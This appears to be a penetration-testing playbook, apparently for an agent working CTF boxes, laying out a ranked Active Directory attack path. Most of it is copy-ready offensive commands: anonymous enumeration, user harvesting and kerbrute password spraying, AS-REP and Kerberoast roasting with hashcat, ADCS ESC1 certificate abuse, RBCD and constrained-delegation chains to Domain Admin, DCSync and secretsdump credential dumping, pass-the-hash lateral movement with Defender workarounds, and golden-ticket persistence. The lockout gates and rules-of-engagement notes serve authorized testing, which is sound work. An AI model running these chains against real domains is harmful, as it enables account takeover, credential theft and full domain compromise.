Hunt: Active Directory
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Wiki
qmd_query "Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound" via wiki-search MCP
Hub: [[active-directory-moc]] (live index). Primary page: [[active-directory]].
Anchors: [[adcs]] (ESC1-16 matrix, the highest-value escalation edge), [[kerberos-attacks]] (AS-REP/Kerberoast plus the delegation paths).
Tool anchor: [[netexec]] (the full nxc map: every protocol, flag, and module, with the spray/lockout, Kerberos, exec-method, and dumping gotchas). Read the LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.
Attack surface signals
Ports: SMB 445, LDAP 389/636, Kerberos 88, ADWS 9389, WinRM 5985/5986, RPC 135, MSSQL 1433, ADCS web enroll 80/443 (/certsrv).
Footholds: null/guest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), ms-DS-MachineAccountQuota > 0, pre-Win2000 computers, LAPS readable.
Spray-safe + AD safety gate (READ FIRST)
- Spray-safe lockout gate - the AD analog of the
hunt-core enumeration limits. Read the domain lockout policy BEFORE any spray: nxc smb <dc> -u <user> -p <pass> --pass-pol. Spray at most 1 attempt per account per observation window, and never exceed (lockoutThreshold - 1) attempts per account per window. RoE no_bruteforce / passive_only -> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding.
- Reuse captured creds first (from
loot.md) before researching new ones; default/known creds before any spray (see [[default-credentials]]).
- Clock skew: sync to DC (
ntpdate <dc> or faketime) or Kerberos TGT requests fail with KRB_AP_ERR_SKEW.
- Stale
/etc/hosts realm entry silently breaks Kerberos. A prior box's <realm> -> <old-ip> line makes impacket resolve the KDC to a dead host and hang with [Errno 110] Connection timed out (REALM:88), even though certipy (which forces -dc-ip) worked seconds earlier. When you add the DC to /etc/hosts, REMOVE any existing line for the same realm, and ALWAYS pass -dc-ip <dc> (and -target-ip <dc>) on impacket Kerberos ops so KDC/target resolution never depends on DNS/hosts. Same fix if certipy req throws The NETBIOS connection ... timed out: add -target-ip <dc>.
- Hash recovered but the account blocks NTLM? ESC1/UnPAC/PKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns
STATUS_ACCOUNT_RESTRICTION (the account is in Protected Users / NTLM-hardened, common for Administrator), the hash is a red herring - use the ccache: export KRB5CCNAME=<user>.ccache; impacket-smbclient/secretsdump -k -no-pass -dc-ip <dc> <dc-fqdn> reads flags / DCSyncs over Kerberos. See [[adcs]].
- Never pivot through
192.168.1.x hosts (Ligolo tunnel only for lateral movement).
Ranked path + highest-value edges
Ranked: enum -> AS-REP/Kerberoast -> ACL / ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. The ADCS ESC1-16 matrix (step 5) and the delegation paths (step 6) are the highest-value edges - one vulnerable template or a writable msDS-AllowedToActOnBehalfOfOtherIdentity is often the entire DA chain. Chain: every cracked/sprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD -delegate-from; an on-box cred store (step 7) frequently yields the account that holds the winning ACL.
Methodology
Efficiency: fire the unauth-enum WAVE at once, don't grind it serially. On a fresh DC the first
6 reads are independent - launch them together (parallel tmux tabs / back-to-back), then read results:
null+guest shares & RID-brute, anonymous LDAP users + all description/info fields (planted seed
passwords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the
LDAP lockout policy, AND certipy find -vulnerable (ADCS ESC is on MOST modern THM/HTB DCs - run it in
the unauth wave with any cred you get, not as an afterthought). This one wave usually already contains
the foothold (a description seed to spray) and the escalation (an ESC template).
- Unauth enum:
nxc smb <dc> -u '' -p '' --shares # null session
nxc smb <dc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied
nxc ldap <dc> -u '' -p '' --users # anonymous bind
# planted-password sweep (classic THM foothold) - read EVERY non-generic description:
ldapsearch -x -H ldap://<dc> -b <base> "(objectClass=user)" sAMAccountName description
enum4linux-ng -A <dc>; rpcclient -U '' -N <dc>
- Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe):
When anon enum is locked down, the user list comes from the target's own web app + OSINT. Scrape
EVERY page, not just the homepage - names hide in
about/team/staff/leadership/testimonial/
contact sections that the index page does not show. (Missing the about.html "Our Team" block once
cost two valid users on a box.) Extract every First Last, note the format from any leaked email
(j.doe@dom = f.last), generate permutations, and let kerbrute tell you which are real:
# pull all pages, strip tags, extract capitalized name bigrams
for p in $(curl -s http://<t>/ | grep -oiE 'href="[^"]+\.html?"' | cut -d'"' -f2 | sort -u); do
curl -s http://<t>/$p | sed -e 's/<[^>]*>/ /g'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u
# -> for each "First Last": emit f.last, flast, first.last, first_last, last (+ leaked-email format)
kerbrute userenum -d <domain> --dc <dc> users.txt # filler template names simply will NOT validate
# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth
# (~500 users in seconds); `nxc smb -u <file>` walks them one TCP session at a time (minutes). Same
# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.
kerbrute passwordspray -d <domain> --dc <dc> users.txt 'CHANGEME2023!' # one-pass, lockout-gated
Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first/only name
the homepage leaks.
3. Roasting:
impacket-GetNPUsers <domain>/ -dc-ip <dc> -usersfile users.txt -no-pass # AS-REP
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc> -request # Kerberoast
hashcat -m 18200 asrep.txt rockyou.txt; hashcat -m 13100 tgs.txt rockyou.txt
- Enumerate USER SPNs with an object-class filter, or the DC machine account masks them. A bare
(servicePrincipalName=*) is dominated by AD$'s many SPNs; the ONE Kerberoastable user is easily
missed and you wrongly conclude "no Kerberoast target" (drift into AS-REP-crack/spray rabbit holes).
Always: ldapsearch -x -H ldap://<dc> -b <base> "(&(servicePrincipalName=*)(objectCategory=person))" sAMAccountName servicePrincipalName.
- No creds but an AS-REP-roastable account exists? Kerberoast WITHOUT pre-auth (credless): use the
roastable account as the requester ->
impacket-GetUserSPNs -no-preauth <asrep_user> -usersfile <spn_users> -dc-host <dc> <domain>/. Then hashcat -m 13100. See [[roasting-kerberoasting]].
- hashcat single-instance lock: a long crack (e.g. rockyou x big-rule) holds
/usr/bin/hashcat;
a second crack exits INSTANTLY with "Already an instance ... running" (Started==Stopped, empty
--show). pkill hashcat (or wait) before the next crack, and check output for that line when a
crack returns nothing.
- BloodHound + ACL abuse:
nxc ldap <dc> -u <user> -p <pass> --bloodhound -c all --dns-server <dc>
# GenericWrite/WriteDACL/GenericAll -> shadow creds (certipy shadow auto), targeted Kerberoast, group add
- A ForceChangePassword/control chain that "dead-ends" is a BloodHound-ACL blind spot, NOT a
dead end. Re-enumerate the ATTRIBUTES of every account you gain, especially the terminal one.
The winning primitive is frequently an account PROPERTY the ACL graph does not surface as an
outbound edge: constrained delegation (
msDS-AllowedToDelegateTo), an SPN (Kerberoastable /
RBCD -delegate-from), a DCSync right, AdminCount, or membership that grants it. When a reset
daisy-chain (TABATHA->SHAWNA->CRUZ->DARLA) loops or stops, run on the LAST user you own:
nxc ldap <dc> -u <user> -p <pass> --find-delegation (constrained/unconstrained/RBCD in one
shot), impacket-GetUserSPNs (SPN), and re-check its group memberships. Do NOT conclude "no
path to DA" off the ACL edges alone (real: a whole box's DA leg was Constrained w/ Protocol Transition on the chain's terminal user, invisible as an ACL edge; chasing the ACL-controlled
accounts instead burned the run).
- ADCS (run on every engagement):
certipy find -u <user>@<domain> -p <pass> -dc-ip <dc> -vulnerable -stdout # ESC1-16
certipy req -u <user>@<domain> -p <pass> -ca <ca> -template <vuln> -upn administrator@<domain> # ESC1
- Delegation: unconstrained (TGT capture via printerbug/coerce), constrained (
-impersonate), RBCD (ms-DS-AllowedToActOnBehalfOfOtherIdentity write).
- Constrained delegation W/ PROTOCOL TRANSITION on a USER you control = instant impersonation of ANY user to that SPN (no computer/RBCD needed):
--find-delegation shows Constrained w/ Protocol Transition + the DelegationRightsTo SPN (e.g. cifs/DC.dom). Then impacket-getST -spn cifs/DC.<dom> -impersonate Administrator -dc-ip <dc> '<dom>/<user>:<pass>' -> KRB5CCNAME=Administrator@...ccache impacket-smbclient -k -no-pass DC.<dom> reads C$\Users\Administrator\Desktop\root.txt directly (no exec, AV-safe). Sync clock first (ntpdate <dc>) or getST throws KRB_AP_ERR_SKEW; add the DC FQDN to /etc/hosts. This is the whole DA leg when a reset-chain's terminal user holds it.
- RBCD -> DA chain (own an account with
AddAllowedToAct/GenericWrite on a computer + MAQ>0): impacket-addcomputer <dom>/<u>:<p> -computer-name 'FAKE$' -computer-pass <pw> -dc-ip <dc> -> impacket-rbcd <dom>/<u>:<p> -delegate-to 'DC01$' -delegate-from 'FAKE$' -action write -dc-ip <dc> -> impacket-getST <dom>/'FAKE$':<pw> -spn cifs/DC01.<dom> -impersonate Administrator -dc-ip <dc> -> KRB5CCNAME=<ccache> impacket-secretsdump -k -no-pass DC01.<dom> -just-dc-user Administrator. Sync clock if getST throws KRB_AP_ERR_SKEW. The account with the write is often obtained by password reuse from an on-box cred store (step 7), not an ACL edge from your foothold.
- MAQ=0 does NOT block RBCD. You only need a machine account if you have none; ANY account you control with an SPN (a Kerberoastable user) is a valid
-delegate-from. Cracked a Kerberoastable user? Reuse it, skip addcomputer. And the write can come from a low-priv principal: a DACL granting BUILTIN\Guests GenericWrite over the DC computer object is exploitable straight from a guest/null session (-hashes :31d6cfe0d16ae931b73c59d7e0c089c0 = empty-pw NT hash, since impacket prompts on a TTY-less run). See [[kerberos-attacks]].
- Credential access / DCSync:
nxc smb <dc> -u <user> -p <pass> --ntds # if admin
impacket-secretsdump <domain>/<user>:<pass>@<dc> # DCSync if rights
- On-box cred stores (via RDP/session): a user only in Remote Desktop Users can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass
*.kdbx, browser/WinSCP/RDP creds. A KeePass DB keyed to the Windows user account (KeePass.config.xml <UserAccount>true</UserAccount>) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] / Skill(ctf-box); see [[password-cracking]].
- Lateral: PtH / PtT / overpass-the-hash ->
evil-winrm, nxc ... -x, impacket-wmiexec, psexec. AV gotcha: Defender blocks nxc -x/wmiexec output retrieval ("could not retrieve output file"); to just READ a file (the flag) as admin, skip exec entirely: smbclient //<dc>/C$ -U <dom>/Administrator --pw-nt-hash <nt> -c 'get Users\Administrator\Desktop\flag.txt', or use --exec-method smbexec/atexec.
- Dominance: golden (krbtgt) / silver / diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).
- Distill (confirmed, GENERIC): a reusable ACL chain / ADCS ESC variant / relay primitive ->
python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/active-directory/adcs.md.
Confirmation gate
NOT confirmation: a hash captured but never cracked or used; a Kerberoast/AS-REP ticket dumped but not cracked; a BloodHound edge (GenericWrite, AddAllowedToAct, an ESC "vulnerable" flag) that is theoretical and never executed; certipy find listing a template you never enrolled against; a spray "hit" you have not re-validated with a clean authentication.
IS confirmation: credentials validated against the DC (nxc smb/ldap/winrm <dc> -u <user> -p <pass> returns [+] / Pwn3d!); a TGT/TGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.
Severity
CRITICAL = DA / domain compromise / DCSync / ESC1 / ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum / info disclosure, a spray hit with no privilege.
Deadends
Append: - [ ] AD spray <domain> -- full user x pass matrix once (Season2025!/Welcome1), 0 hits, lockout thr 5;
ADCS no ESC template; no BloodHound path from <user>
Record the boundary (which creds, which lockout threshold, which ESC/BH gaps), not just that it failed. A bare entry gets re-run.